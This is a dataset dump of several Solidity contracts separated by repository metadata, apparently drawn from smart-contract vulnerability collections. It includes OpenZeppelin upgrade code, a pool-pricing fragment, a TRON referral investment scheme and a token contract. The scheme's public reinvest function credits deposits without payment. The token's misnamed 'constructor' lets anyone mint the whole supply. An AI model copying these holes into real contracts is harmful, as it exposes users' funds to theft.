uint _baseEnd = iPOOL(pool).baseAmt().mul(2);
uint _ROIS = (_baseEnd.mul(10000)).div(_baseStart);
uint _tokenStart = iPOOL(pool).tokenAmtStaked().mul(2);
uint _tokenEnd = iPOOL(pool).tokenAmt().mul(2);
uint _ROIA = (_tokenEnd.mul(10000)).div(_tokenStart);
return (_ROIS + _ROIA).div(2);
}
function getPoolAPY(address token) public view returns (uint apy){
uint avgROI = getPoolROI(token);
uint poolAge = getPoolAge(token);
return (avgROI.mul(365)).div(poolAge);
}
function isMember(address token, address member) public view returns(bool){
address payable pool = getPool(token);
if (iERC20(pool).balanceOf(member) > 0){
return true;
} else {
return false;
}
}
//====================================PRICING====================================//
function calcValueInBase(address token, uint amount) public view returns (uint value){
address payable pool = getPool(token);
return calcValueInBaseWithPool(pool, amount);
}
function calcValueInToken(address token, uint amount) public view returns (uint value){
address payable pool = getPool(token);
return calcValueInTokenWithPool(pool, amount);
}
function calcTokenPPinBase(address token, uint amount) public view returns (uint _output){
address payable pool = getPool(token);
return calcTokenPPinBaseWithPool(pool, amount);
}
function calcBasePPinToken(address token, uint amount) public view returns (uint _output){
address payable pool = getPool(token);
return calcValueInBaseWithPool(pool, amount);
}
function calcValueInBaseWithPool(address payable pool, uint amount) public view returns (uint value){
uint _baseAmt = iPOOL(pool).baseAmt();
uint _tokenAmt = iPOOL(pool).tokenAmt();
return (amount.mul(_baseAmt)).div(_tokenAmt);
}
function calcValueInTokenWithPool(address payable pool, uint amount) public view returns (uint value){
uint _baseAmt = iPOOL(pool).baseAmt();
uint _tokenAmt = iPOOL(pool).tokenAmt();
return (amount.mul(_tokenAmt)).div(_baseAmt);
}
function calcTokenPPinBaseWithPool(address payable pool, uint amount) public view returns (uint _output){
uint _baseAmt = iPOOL(pool).baseAmt();
uint _tokenAmt = iPOOL(pool).tokenAmt();
return calcSwapOutput(amount, _tokenAmt, _baseAmt);
}
function calcBasePPinTokenWithPool(address payable pool, uint amount) public view returns (uint _output){
uint _baseAmt = iPOOL(pool).baseAmt();
uint _tokenAmt = iPOOL(pool).tokenAmt();
return calcSwapOutput(amount, _baseAmt, _tokenAmt);
}
//====================================CORE-MATH====================================//
function calcPart(uint bp, uint total) public pure returns (uint part){
// 10,000 basis points = 100.00%
require((bp <= 10000) && (bp > 0), "Must be correct BP");
return calcShare(bp, 10000, total);
}
function calcShare(uint part, uint total, uint amount) public pure returns (uint share){
// share = amount * part/total
return(amount.mul(part)).div(total);
}
function calcSwapOutput(uint x, uint X, uint Y) public pure returns (uint output){
// y = (x * X * Y)/(x + X)^2
uint numerator = x.mul(X.mul(Y));
uint denominator = (x.add(X)).mul(x.add(X));
return numerator.div(denominator);
}
function calcSwapFee(uint x, uint X, uint Y) public pure returns (uint output){
// y = (x * x * Y) / (x + X)^2
uint numerator = x.mul(x.mul(Y));
uint denominator = (x.add(X)).mul(x.add(X));
return numerator.div(denominator);
}
function calcSwapInputFee(uint x, uint X) public pure returns (uint output){
// slip = (x * x) / (x + X)
uint numerator = x.mul(x);
uint denominator = x.add(X);
return numerator.div(denominator);
}
function calcStakeUnits(uint b, uint B, uint t, uint T, uint P) public view returns (uint units){
if(P == 0){
return b;
} else {
// units = ((P (t B + T b))/(2 T B)) * slipAdjustment
// P * (part1 + part2) / (part3) * slipAdjustment
uint slipAdjustment = getSlipAdustment(b, B, t, T);
uint part1 = t.mul(B);
uint part2 = T.mul(b);
uint part3 = T.mul(B).mul(2);
uint _units = (P.mul(part1.add(part2))).div(part3);
return _units.mul(slipAdjustment).div(one); // Divide by 10**18
}
}
function getSlipAdustment(uint b, uint B, uint t, uint T) public view returns (uint slipAdjustment){
// slipAdjustment = (1 - ABS((B t - b T)/((2 b + B) (t + T))))
// 1 - ABS(part1 - part2)/(part3 * part4))
uint part1 = B.mul(t);
uint part2 = b.mul(T);
uint part3 = b.mul(2).add(B);
uint part4 = t.add(T);
uint numerator;
if(part1 > part2){
numerator = part1.sub(part2);
} else {
numerator = part2.sub(part1);
}
uint denominator = part3.mul(part4);
return one.sub((numerator.mul(one)).div(denominator)); // Multiply by 10**18
}
function calcAsymmetricShare(uint u, uint U, uint A) public pure returns (uint share){
// share = (u * U * (2 * A^2 - 2 * U * u + U^2))/U^3
// (part1 * (part2 - part3 + part4)) / part5
uint part1 = u.mul(A);
uint part2 = U.mul(U).mul(2);
uint part3 = U.mul(u).mul(2);
uint part4 = u.mul(u);
uint numerator = part1.mul(part2.sub(part3).add(part4));
uint part5 = U.mul(U).mul(U);
return numerator.div(part5);
}
}
| 278,074 | 11,118 |
9edc7d736e044e8d84dc695b73e5a35d29a18da1da0d440b192914793cae5a63
| 29,826 |
.sol
|
Solidity
| false |
635617544
|
0xblackskull/OpenZeppelin-Flattened
|
bef0a34f7a2402d302f91f7bccf2d2e153ebea6b
|
openzeppelin-contracts-upgradeable/proxy/utils/UUPSUpgradeable_flat.sol
| 3,176 | 12,964 |
// SPDX-License-Identifier: MIT
// OpenZeppelin Contracts (last updated v4.5.0) (proxy/utils/UUPSUpgradeable.sol)
pragma solidity ^0.8.0;
// OpenZeppelin Contracts (last updated v4.5.0) (interfaces/draft-IERC1822.sol)
interface IERC1822ProxiableUpgradeable {
function proxiableUUID() external view returns (bytes32);
}
// OpenZeppelin Contracts (last updated v4.5.0) (proxy/ERC1967/ERC1967Upgrade.sol)
// OpenZeppelin Contracts v4.4.1 (proxy/beacon/IBeacon.sol)
interface IBeaconUpgradeable {
function implementation() external view returns (address);
}
// OpenZeppelin Contracts (last updated v4.7.0) (utils/Address.sol)
library AddressUpgradeable {
function isContract(address account) internal view returns (bool) {
// This method relies on extcodesize/address.code.length, which returns 0
// for contracts in construction, since the code is only stored at the end
// of the constructor execution.
return account.code.length > 0;
}
function sendValue(address payable recipient, uint256 amount) internal {
require(address(this).balance >= amount, "Address: insufficient balance");
(bool success,) = recipient.call{value: amount}("");
require(success, "Address: unable to send value, recipient may have reverted");
}
function functionCall(address target, bytes memory data) internal returns (bytes memory) {
return functionCallWithValue(target, data, 0, "Address: low-level call failed");
}
function functionCall(address target,
bytes memory data,
string memory errorMessage) internal returns (bytes memory) {
return functionCallWithValue(target, data, 0, errorMessage);
}
function functionCallWithValue(address target,
bytes memory data,
uint256 value) internal returns (bytes memory) {
return functionCallWithValue(target, data, value, "Address: low-level call with value failed");
}
function functionCallWithValue(address target,
bytes memory data,
uint256 value,
string memory errorMessage) internal returns (bytes memory) {
require(address(this).balance >= value, "Address: insufficient balance for call");
(bool success, bytes memory returndata) = target.call{value: value}(data);
return verifyCallResultFromTarget(target, success, returndata, errorMessage);
}
function functionStaticCall(address target, bytes memory data) internal view returns (bytes memory) {
return functionStaticCall(target, data, "Address: low-level static call failed");
}
function functionStaticCall(address target,
bytes memory data,
string memory errorMessage) internal view returns (bytes memory) {
(bool success, bytes memory returndata) = target.staticcall(data);
return verifyCallResultFromTarget(target, success, returndata, errorMessage);
}
function verifyCallResultFromTarget(address target,
bool success,
bytes memory returndata,
string memory errorMessage) internal view returns (bytes memory) {
if (success) {
if (returndata.length == 0) {
// only check isContract if the call was successful and the return data is empty
// otherwise we already know that it was a contract
require(isContract(target), "Address: call to non-contract");
}
return returndata;
} else {
_revert(returndata, errorMessage);
}
}
function verifyCallResult(bool success,
bytes memory returndata,
string memory errorMessage) internal pure returns (bytes memory) {
if (success) {
return returndata;
} else {
_revert(returndata, errorMessage);
}
}
function _revert(bytes memory returndata, string memory errorMessage) private pure {
// Look for revert reason and bubble it up if present
if (returndata.length > 0) {
// The easiest way to bubble the revert reason is using memory via assembly
/// @solidity memory-safe-assembly
assembly {
let returndata_size := mload(returndata)
revert(add(32, returndata), returndata_size)
}
} else {
revert(errorMessage);
}
}
}
// OpenZeppelin Contracts (last updated v4.7.0) (utils/StorageSlot.sol)
library StorageSlotUpgradeable {
struct AddressSlot {
address value;
}
struct BooleanSlot {
bool value;
}
struct Bytes32Slot {
bytes32 value;
}
struct Uint256Slot {
uint256 value;
}
function getAddressSlot(bytes32 slot) internal pure returns (AddressSlot storage r) {
/// @solidity memory-safe-assembly
assembly {
r.slot := slot
}
}
function getBooleanSlot(bytes32 slot) internal pure returns (BooleanSlot storage r) {
/// @solidity memory-safe-assembly
assembly {
r.slot := slot
}
}
function getBytes32Slot(bytes32 slot) internal pure returns (Bytes32Slot storage r) {
/// @solidity memory-safe-assembly
assembly {
r.slot := slot
}
}
function getUint256Slot(bytes32 slot) internal pure returns (Uint256Slot storage r) {
/// @solidity memory-safe-assembly
assembly {
r.slot := slot
}
}
}
// OpenZeppelin Contracts (last updated v4.7.0) (proxy/utils/Initializable.sol)
abstract contract Initializable {
uint8 private _initialized;
bool private _initializing;
event Initialized(uint8 version);
modifier initializer() {
bool isTopLevelCall = !_initializing;
require((isTopLevelCall && _initialized < 1) || (!AddressUpgradeable.isContract(address(this)) && _initialized == 1),
"Initializable: contract is already initialized");
_initialized = 1;
if (isTopLevelCall) {
_initializing = true;
}
_;
if (isTopLevelCall) {
_initializing = false;
emit Initialized(1);
}
}
modifier reinitializer(uint8 version) {
require(!_initializing && _initialized < version, "Initializable: contract is already initialized");
_initialized = version;
_initializing = true;
_;
_initializing = false;
emit Initialized(version);
}
modifier onlyInitializing() {
require(_initializing, "Initializable: contract is not initializing");
_;
}
function _disableInitializers() internal virtual {
require(!_initializing, "Initializable: contract is initializing");
if (_initialized < type(uint8).max) {
_initialized = type(uint8).max;
emit Initialized(type(uint8).max);
}
}
}
abstract contract ERC1967UpgradeUpgradeable is Initializable {
function __ERC1967Upgrade_init() internal onlyInitializing {
}
function __ERC1967Upgrade_init_unchained() internal onlyInitializing {
}
// This is the keccak-256 hash of "eip1967.proxy.rollback" subtracted by 1
bytes32 private constant _ROLLBACK_SLOT = 0x4910fdfa16fed3260ed0e7147f7cc6da11a60208b5b9406d12a635614ffd9143;
bytes32 internal constant _IMPLEMENTATION_SLOT = 0x360894a13ba1a3210667c828492db98dca3e2076cc3735a920a3ca505d382bbc;
event Upgraded(address indexed implementation);
function _getImplementation() internal view returns (address) {
return StorageSlotUpgradeable.getAddressSlot(_IMPLEMENTATION_SLOT).value;
}
function _setImplementation(address newImplementation) private {
require(AddressUpgradeable.isContract(newImplementation), "ERC1967: new implementation is not a contract");
StorageSlotUpgradeable.getAddressSlot(_IMPLEMENTATION_SLOT).value = newImplementation;
}
function _upgradeTo(address newImplementation) internal {
_setImplementation(newImplementation);
emit Upgraded(newImplementation);
}
function _upgradeToAndCall(address newImplementation,
bytes memory data,
bool forceCall) internal {
_upgradeTo(newImplementation);
if (data.length > 0 || forceCall) {
_functionDelegateCall(newImplementation, data);
}
}
function _upgradeToAndCallUUPS(address newImplementation,
bytes memory data,
bool forceCall) internal {
// Upgrades from old implementations will perform a rollback test. This test requires the new
// implementation to upgrade back to the old, non-ERC1822 compliant, implementation. Removing
// this special case will break upgrade paths from old UUPS implementation to new ones.
if (StorageSlotUpgradeable.getBooleanSlot(_ROLLBACK_SLOT).value) {
_setImplementation(newImplementation);
} else {
try IERC1822ProxiableUpgradeable(newImplementation).proxiableUUID() returns (bytes32 slot) {
require(slot == _IMPLEMENTATION_SLOT, "ERC1967Upgrade: unsupported proxiableUUID");
} catch {
revert("ERC1967Upgrade: new implementation is not UUPS");
}
_upgradeToAndCall(newImplementation, data, forceCall);
}
}
bytes32 internal constant _ADMIN_SLOT = 0xb53127684a568b3173ae13b9f8a6016e243e63b6e8ee1178d6a717850b5d6103;
event AdminChanged(address previousAdmin, address newAdmin);
function _getAdmin() internal view returns (address) {
return StorageSlotUpgradeable.getAddressSlot(_ADMIN_SLOT).value;
}
function _setAdmin(address newAdmin) private {
require(newAdmin != address(0), "ERC1967: new admin is the zero address");
StorageSlotUpgradeable.getAddressSlot(_ADMIN_SLOT).value = newAdmin;
}
function _changeAdmin(address newAdmin) internal {
emit AdminChanged(_getAdmin(), newAdmin);
_setAdmin(newAdmin);
}
bytes32 internal constant _BEACON_SLOT = 0xa3f0ad74e5423aebfd80d3ef4346578335a9a72aeaee59ff6cb3582b35133d50;
event BeaconUpgraded(address indexed beacon);
function _getBeacon() internal view returns (address) {
return StorageSlotUpgradeable.getAddressSlot(_BEACON_SLOT).value;
}
function _setBeacon(address newBeacon) private {
require(AddressUpgradeable.isContract(newBeacon), "ERC1967: new beacon is not a contract");
require(AddressUpgradeable.isContract(IBeaconUpgradeable(newBeacon).implementation()),
"ERC1967: beacon implementation is not a contract");
StorageSlotUpgradeable.getAddressSlot(_BEACON_SLOT).value = newBeacon;
}
function _upgradeBeaconToAndCall(address newBeacon,
bytes memory data,
bool forceCall) internal {
_setBeacon(newBeacon);
emit BeaconUpgraded(newBeacon);
if (data.length > 0 || forceCall) {
_functionDelegateCall(IBeaconUpgradeable(newBeacon).implementation(), data);
}
}
function _functionDelegateCall(address target, bytes memory data) private returns (bytes memory) {
require(AddressUpgradeable.isContract(target), "Address: delegate call to non-contract");
// solhint-disable-next-line avoid-low-level-calls
(bool success, bytes memory returndata) = target.delegatecall(data);
return AddressUpgradeable.verifyCallResult(success, returndata, "Address: low-level delegate call failed");
}
uint256[50] private __gap;
}
abstract contract UUPSUpgradeable is Initializable, IERC1822ProxiableUpgradeable, ERC1967UpgradeUpgradeable {
function __UUPSUpgradeable_init() internal onlyInitializing {
}
function __UUPSUpgradeable_init_unchained() internal onlyInitializing {
}
/// @custom:oz-upgrades-unsafe-allow state-variable-immutable state-variable-assignment
address private immutable __self = address(this);
modifier onlyProxy() {
require(address(this) != __self, "Function must be called through delegatecall");
require(_getImplementation() == __self, "Function must be called through active proxy");
_;
}
modifier notDelegated() {
require(address(this) == __self, "UUPSUpgradeable: must not be called through delegatecall");
_;
}
function proxiableUUID() external view virtual override notDelegated returns (bytes32) {
return _IMPLEMENTATION_SLOT;
}
function upgradeTo(address newImplementation) external virtual onlyProxy {
_authorizeUpgrade(newImplementation);
_upgradeToAndCallUUPS(newImplementation, new bytes(0), false);
}
function upgradeToAndCall(address newImplementation, bytes memory data) external payable virtual onlyProxy {
_authorizeUpgrade(newImplementation);
_upgradeToAndCallUUPS(newImplementation, data, true);
}
function _authorizeUpgrade(address newImplementation) internal virtual;
uint256[50] private __gap;
}
| 63,340 | 11,119 |
3dd0c0569f3ebf9d80f0a2bc0ed960d2a4f034a398c268ed0afc2903ce043f93
| 11,929 |
.sol
|
Solidity
| false |
453466497
|
tintinweb/smart-contract-sanctuary-tron
|
44b9f519dbeb8c3346807180c57db5337cf8779b
|
contracts/mainnet/TF/TFYJMcf7KAM6RrQKBorW7TeBsgSqoKQtRi_Trontree.sol
| 3,929 | 11,760 |
//SourceUnit: Trontree.sol
pragma solidity 0.5.10;
contract Trontree {
using SafeMath for uint256;
uint256 constant public INVEST_MIN_AMOUNT = 100 trx;
uint256 constant public WITHDRAW_MIN_AMOUNT = 100 trx;
uint256[] public REFERRAL_PERCENTS = [60, 25, 15,10];
uint256 constant public PROJECT_FEE = 250;
uint256 constant public REINVEST_PERCENT = 350;
uint256 constant public MAX_PROFIT_PERCENT = 250;
uint256 constant public WITHDRAW_PERCENT = 650;
uint256 constant public PERCENT_STEP = 3;
uint256 constant public PERCENTS_DIVIDER = 1000;
uint256 constant public TIME_STEP = 1 days;
uint256 public totalTrontree;
uint256 public totalReinvest;
uint256 public totalWithdraw;
uint256 public totalPartners;
uint256 public totalRefBonus;
struct Plan {
uint256 time;
uint256 percent;
}
Plan[] internal plans;
struct Deposit {
uint8 plan;
uint256 percent;
uint256 amount;
uint256 profit;
uint256 start;
uint256 finish;
uint8 isReinvest;
}
struct WitthdrawHistory {
uint256 amount;
uint256 start;
}
struct User {
Deposit[] deposits;
WitthdrawHistory[] whistory;
uint256 checkpoint;
address referrer;
uint256[4] levels;
uint256[4] levelbonus;
uint256 bonus;
uint256 totalBonus;
}
mapping (address => User) internal users;
uint256 public startUNIX;
address payable public commissionWallet;
event Newbie(address user);
event NewDeposit(address indexed user, uint8 plan, uint256 percent, uint256 amount, uint256 profit, uint256 start, uint256 finish);
event Withdrawn(address indexed user, uint256 amount);
event RefBonus(address indexed referrer, address indexed referral, uint256 indexed level, uint256 amount);
event FeePayed(address indexed user, uint256 totalAmount);
constructor(address payable wallet, uint256 startDate) public {
require(!isContract(wallet));
require(startDate > 0);
commissionWallet = wallet;
startUNIX = startDate;
plans.push(Plan(365, 150));
}
function reinvest(address referrer, uint8 plan,uint256 amountInvest,address userAdress) public payable {
uint256 fee = amountInvest.mul(PROJECT_FEE).div(PERCENTS_DIVIDER);
commissionWallet.transfer(fee);
emit FeePayed(userAdress, fee);
User storage user = users[userAdress];
if (user.referrer == address(0)) {
if (users[referrer].deposits.length > 0 && referrer != userAdress) {
user.referrer = referrer;
}
address upline = user.referrer;
for (uint256 i = 0; i < 5; i++) {
if (upline != address(0)) {
users[upline].levels[i] = users[upline].levels[i].add(1);
upline = users[upline].referrer;
} else break;
}
}
if (user.referrer != address(0)) {
address upline = user.referrer;
for (uint256 i = 0; i < 4; i++) {
if (upline != address(0)) {
uint256 amount = amountInvest.mul(REFERRAL_PERCENTS[i]).div(PERCENTS_DIVIDER);
users[upline].bonus = users[upline].bonus.add(amount);
users[upline].levelbonus[i]=amount;
users[upline].totalBonus = users[upline].totalBonus.add(amount);
emit RefBonus(upline, msg.sender, i, amount);
upline = users[upline].referrer;
} else break;
}
}
if (user.deposits.length == 0) {
user.checkpoint = block.timestamp;
emit Newbie(userAdress);
}
(uint256 percent, uint256 profit, uint256 finish) = getResult(plan, amountInvest);
user.deposits.push(Deposit(plan, percent, amountInvest, profit, block.timestamp, finish,1));
totalTrontree = totalTrontree.add(amountInvest);
totalReinvest = totalReinvest.add(amountInvest);
emit NewDeposit(userAdress, plan, percent, msg.value, profit, block.timestamp, finish);
}
function invest(address referrer, uint8 plan) public payable {
require(msg.value >= INVEST_MIN_AMOUNT);
require(plan < 6, "Invalid plan");
uint256 fee = msg.value.mul(PROJECT_FEE).div(PERCENTS_DIVIDER);
commissionWallet.transfer(fee);
emit FeePayed(msg.sender, fee);
User storage user = users[msg.sender];
if (user.referrer == address(0)) {
if (users[referrer].deposits.length > 0 && referrer != msg.sender) {
user.referrer = referrer;
}
totalPartners=totalPartners.add(1);
address upline = user.referrer;
for (uint256 i = 0; i < 4; i++) {
if (upline != address(0)) {
users[upline].levels[i] = users[upline].levels[i].add(1);
upline = users[upline].referrer;
} else break;
}
}
if (user.referrer != address(0)) {
address upline = user.referrer;
for (uint256 i = 0; i < 4; i++) {
if (upline != address(0)) {
uint256 amount = msg.value.mul(REFERRAL_PERCENTS[i]).div(PERCENTS_DIVIDER);
users[upline].bonus = users[upline].bonus.add(amount);
users[upline].levelbonus[i]=amount;
users[upline].totalBonus = users[upline].totalBonus.add(amount);
emit RefBonus(upline, msg.sender, i, amount);
upline = users[upline].referrer;
} else break;
}
}
if (user.deposits.length == 0) {
user.checkpoint = block.timestamp;
emit Newbie(msg.sender);
}
(uint256 percent, uint256 profit, uint256 finish) = getResult(plan, msg.value);
user.deposits.push(Deposit(plan, percent, msg.value, profit, block.timestamp, finish,0));
totalTrontree = totalTrontree.add(msg.value);
emit NewDeposit(msg.sender, plan, percent, msg.value, profit, block.timestamp, finish);
}
function withdraw() public {
User storage user = users[msg.sender];
uint256 totalAmount = getUserDividends(msg.sender);
uint256 referralBonus = getUserReferralBonus(msg.sender);
if (referralBonus > 0) {
user.bonus = 0;
totalAmount = totalAmount.add(referralBonus);
}
require(totalAmount > 0, "User has no dividends");
uint256 contractBalance = address(this).balance;
if (contractBalance < totalAmount) {
totalAmount = contractBalance;
}
totalWithdraw= totalWithdraw.add(totalAmount);
user.checkpoint = block.timestamp;
uint256 withdrawAmount=totalAmount.mul(WITHDRAW_PERCENT).div(PERCENTS_DIVIDER);
uint256 reInvestAmount=totalAmount.mul(REINVEST_PERCENT).div(PERCENTS_DIVIDER);
msg.sender.transfer(withdrawAmount);
user.whistory.push(WitthdrawHistory(totalAmount,block.timestamp));
reinvest(user.referrer, 0,reInvestAmount,msg.sender);
emit Withdrawn(msg.sender, totalAmount);
}
function getContractBalance() public view returns (uint256) {
return address(this).balance;
}
function getPlanInfo(uint8 plan) public view returns(uint256 time, uint256 percent) {
time = plans[plan].time;
percent = plans[plan].percent;
}
function getPercent(uint8 plan) public view returns (uint256) {
if (block.timestamp > startUNIX) {
uint256 percent=plans[plan].percent.add(PERCENT_STEP.mul(block.timestamp.sub(startUNIX)).div(TIME_STEP));
if(percent>200){
percent=200 ;
}
return percent;
} else {
return plans[plan].percent;
}
}
function getResult(uint8 plan, uint256 deposit) public view returns (uint256 percent, uint256 profit, uint256 finish) {
percent = getPercent(plan);
uint256 daysinvest = MAX_PROFIT_PERCENT.div(percent.div(10));
if (plan < 3) {
profit = deposit.mul(percent).div(PERCENTS_DIVIDER).mul(plans[plan].time);
} else if (plan < 6) {
for (uint256 i = 0; i < plans[plan].time; i++) {
profit = profit.add((deposit.add(profit)).mul(percent).div(PERCENTS_DIVIDER));
}
}
finish = block.timestamp.add(daysinvest.mul(TIME_STEP));
}
function getUserDividends(address userAddress) public view returns (uint256) {
User storage user = users[userAddress];
uint256 totalAmount;
for (uint256 i = 0; i < user.deposits.length; i++) {
if (user.checkpoint < user.deposits[i].finish) {
if (user.deposits[i].plan < 3) {
uint256 share = user.deposits[i].amount.mul(user.deposits[i].percent).div(PERCENTS_DIVIDER);
uint256 from = user.deposits[i].start > user.checkpoint ? user.deposits[i].start : user.checkpoint;
uint256 to = user.deposits[i].finish < block.timestamp ? user.deposits[i].finish : block.timestamp;
if (from < to) {
totalAmount = totalAmount.add(share.mul(to.sub(from)).div(TIME_STEP));
}
} else if (block.timestamp > user.deposits[i].finish) {
totalAmount = totalAmount.add(user.deposits[i].profit);
}
}
}
return totalAmount;
}
function getUserCheckpoint(address userAddress) public view returns(uint256) {
return users[userAddress].checkpoint;
}
function getUserReferrer(address userAddress) public view returns(address) {
return users[userAddress].referrer;
}
function getUserDownlineCount(address userAddress) public view returns(uint256, uint256, uint256, uint256) {
return (users[userAddress].levels[0], users[userAddress].levels[1], users[userAddress].levels[2], users[userAddress].levels[3]);
}
function getUserDownlineBonus(address userAddress) public view returns(uint256, uint256, uint256, uint256) {
return (users[userAddress].levelbonus[0], users[userAddress].levelbonus[1], users[userAddress].levelbonus[2], users[userAddress].levelbonus[3]);
}
function getUserReferralBonus(address userAddress) public view returns(uint256) {
return users[userAddress].bonus;
}
function getUserReferralTotalBonus(address userAddress) public view returns(uint256) {
return users[userAddress].totalBonus;
}
function getUserReferralWithdrawn(address userAddress) public view returns(uint256) {
return users[userAddress].totalBonus.sub(users[userAddress].bonus);
}
function getUserAvailable(address userAddress) public view returns(uint256) {
return getUserReferralBonus(userAddress).add(getUserDividends(userAddress));
}
function getUserAmountOfDeposits(address userAddress) public view returns(uint256) {
return users[userAddress].deposits.length;
}
function getUserTotalDeposits(address userAddress) public view returns(uint256 amount) {
for (uint256 i = 0; i < users[userAddress].deposits.length; i++) {
amount = amount.add(users[userAddress].deposits[i].amount);
}
}
function getUserWithdrawHistory(address userAddress, uint256 index) public view returns(uint256 amount, uint256 start) {
User storage user = users[userAddress];
amount = user.whistory[index].amount;
start=user.whistory[index].start;
}
function getUserWithdrawSize(address userAddress) public view returns(uint256 length) {
User storage user = users[userAddress];
return user.whistory.length;
}
function getUserDepositInfo(address userAddress, uint256 index) public view returns(uint8 plan, uint256 percent, uint256 amount, uint256 profit, uint256 start, uint256 finish) {
User storage user = users[userAddress];
plan = user.deposits[index].plan;
percent = user.deposits[index].percent;
amount = user.deposits[index].amount;
profit = user.deposits[index].profit;
start = user.deposits[index].start;
finish = user.deposits[index].finish;
}
function isContract(address addr) internal view returns (bool) {
uint size;
assembly { size := extcodesize(addr) }
return size > 0;
}
}
library SafeMath {
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
require(c >= a, "SafeMath: addition overflow");
return c;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
require(b <= a, "SafeMath: subtraction overflow");
uint256 c = a - b;
return c;
}
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
if (a == 0) {
return 0;
}
uint256 c = a * b;
require(c / a == b, "SafeMath: multiplication overflow");
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
require(b > 0, "SafeMath: division by zero");
uint256 c = a / b;
return c;
}
}
| 296,613 | 11,120 |
aefd2bd0271de73da0f052e0cc46d8506aef2703489ea19cd4c31788db43d4d7
| 19,446 |
.sol
|
Solidity
| false |
416581097
|
NoamaSamreen93/SmartScan-Dataset
|
0199a090283626c8f2a5e96786e89fc850bdeabd
|
evaluation-dataset/0x7461d41f05f08562ca33d6d05fd82ad2f807057e.sol
| 9,005 | 15,296 |
pragma solidity ^0.4.21 ;
contract RE_Portfolio_XIX_883 {
mapping (address => uint256) public balanceOf;
string public name = " RE_Portfolio_XIX_883 " ;
string public symbol = " RE883XIX " ;
uint8 public decimals = 18 ;
uint256 public totalSupply = 1340600412721820000000000000 ;
event Transfer(address indexed from, address indexed to, uint256 value);
function SimpleERC20Token() public {
balanceOf[msg.sender] = totalSupply;
emit Transfer(address(0), msg.sender, totalSupply);
}
function transfer(address to, uint256 value) public returns (bool success) {
require(balanceOf[msg.sender] >= value);
balanceOf[msg.sender] -= value; // deduct from sender's balance
balanceOf[to] += value; // add to recipient's balance
emit Transfer(msg.sender, to, value);
return true;
}
event Approval(address indexed owner, address indexed spender, uint256 value);
mapping(address => mapping(address => uint256)) public allowance;
function approve(address spender, uint256 value)
public
returns (bool success)
{
allowance[msg.sender][spender] = value;
emit Approval(msg.sender, spender, value);
return true;
}
function transferFrom(address from, address to, uint256 value)
public
returns (bool success)
{
require(value <= balanceOf[from]);
require(value <= allowance[from][msg.sender]);
balanceOf[from] -= value;
balanceOf[to] += value;
allowance[from][msg.sender] -= value;
emit Transfer(from, to, value);
return true;
}
// }
// Programme d'mission - Lignes 1 10
//
//
//
//
// [ Nom du portefeuille ; Numro de la ligne ; Nom de la ligne ; Echance ]
// [ Adresse exporte ]
// [ Unit ; Limite basse ; Limite haute ]
// [ Hex ]
//
//
//
// < RE_Portfolio_XIX_metadata_line_1_____Thai_Reinsurance_Public_Company_20250515 >
// < 6Xacg7qV0pmlCK86Ui8D1EfJYJT7KZ1E5GjoyNG0g6H6Kd3vsx473XyG3Y4nH61l >
// < 1E-018 limites [ 1E-018 ; 36864781,5976893 ] >
// < 0x00000000000000000000000000000000000000000000000000000000DBBB3343 >
// < RE_Portfolio_XIX_metadata_line_2_____Thailand_Asian_Re_20250515 >
// < xz0s9bTrz7RR5756aBtCnB1A1F9zEzWe0X1218w8v16rByDe50700Nn59E2k4el1 >
// < 1E-018 limites [ 36864781,5976893 ; 63941863,4799876 ] >
// < 0x00000000000000000000000000000000000000000000000DBBB334317D1F8C5F >
// < RE_Portfolio_XIX_metadata_line_3_____Thailand_BBBp_Asian_Re_m_Bp_20250515 >
// < jdtil5D7nt3SuLJL2cg35xTx1NpnjBq3vZUwWckm7KaNbPW0peDYV1219fJY0JRc >
// < 1E-018 limites [ 63941863,4799876 ; 111148150,472025 ] >
// < 0x000000000000000000000000000000000000000000000017D1F8C5F2967EA03B >
// < RE_Portfolio_XIX_metadata_line_4_____The_Channel_Managing_Agency_Limited_20250515 >
// < 6U5Jv83h0rFK15oF15i0hSEiEQ7XfI1E047155jxuL0DsLlb0p8Hx6K41ZElNO71 >
// < 1E-018 limites [ 111148150,472025 ; 183167663,472869 ] >
// < 0x00000000000000000000000000000000000000000000002967EA03B443C3AE7F >
// < RE_Portfolio_XIX_metadata_line_5_____The_Channel_Managing_Agency_Limited_20250515 >
// < TEtY8u1g3o714Cq066z3i6Rzj082U4e8nluoBYdvqFY91So7hTyI64r885EMuY9Z >
// < 1E-018 limites [ 183167663,472869 ; 232397890,320488 ] >
// < 0x0000000000000000000000000000000000000000000000443C3AE7F569330BDC >
// < f4ERz1Wp71hM4XmLh4h943qjLr0tFpg4t0K6xvbM41ngAUm15xjN941yvb6peUFN >
// < 1E-018 limites [ 232397890,320488 ; 244050519,202988 ] >
// < 0x0000000000000000000000000000000000000000000000569330BDC5AEA78C04 >
// < 2n7ULJSoAaWNStOsq2IbEbWIHFY3X7t911a3OaHu695646hdD1RY4ZaD4wuCM4A2 >
// < 1E-018 limites [ 244050519,202988 ; 278787034,066869 ] >
// < 0x00000000000000000000000000000000000000000000005AEA78C0467DB34322 >
// < qFHigv1282OK1MR7hXH2bqR5x5MQQfevEz3yyh38N28J2fN36HtwmhMtwpo2v8WS >
// < 1E-018 limites [ 278787034,066869 ; 307072893,163624 ] >
// < 0x000000000000000000000000000000000000000000000067DB343227264C0ED8 >
// < 8HW0tn493B8e1Q5L1KK51sOCWSwuHVq6l4323ldxR83XlaMl1a40p2O8R9768nk0 >
// < 1E-018 limites [ 307072893,163624 ; 336339405,065176 ] >
// < 0x00000000000000000000000000000000000000000000007264C0ED87D4BD360E >
// < x7eqCPp3OQna559cM4O53MR0Uebt21rt5J75D7FBk81Oh76ug66P75Q77XuU5q85 >
// < 1E-018 limites [ 336339405,065176 ; 398265421,292264 ] >
// < 0x00000000000000000000000000000000000000000000007D4BD360E945D8D025 >
// Programme d'mission - Lignes 11 20
//
//
//
//
// [ Nom du portefeuille ; Numro de la ligne ; Nom de la ligne ; Echance ]
// [ Adresse exporte ]
// [ Unit ; Limite basse ; Limite haute ]
// [ Hex ]
//
//
//
// < C27HZf4FOaVYek5pX71243AS1BkKWRK5EVsbhjLk0FHT23W7N7I514Y9PG1ELvDl >
// < 1E-018 limites [ 398265421,292264 ; 444981485,562693 ] >
// < 0x0000000000000000000000000000000000000000000000945D8D025A5C4BDEC0 >
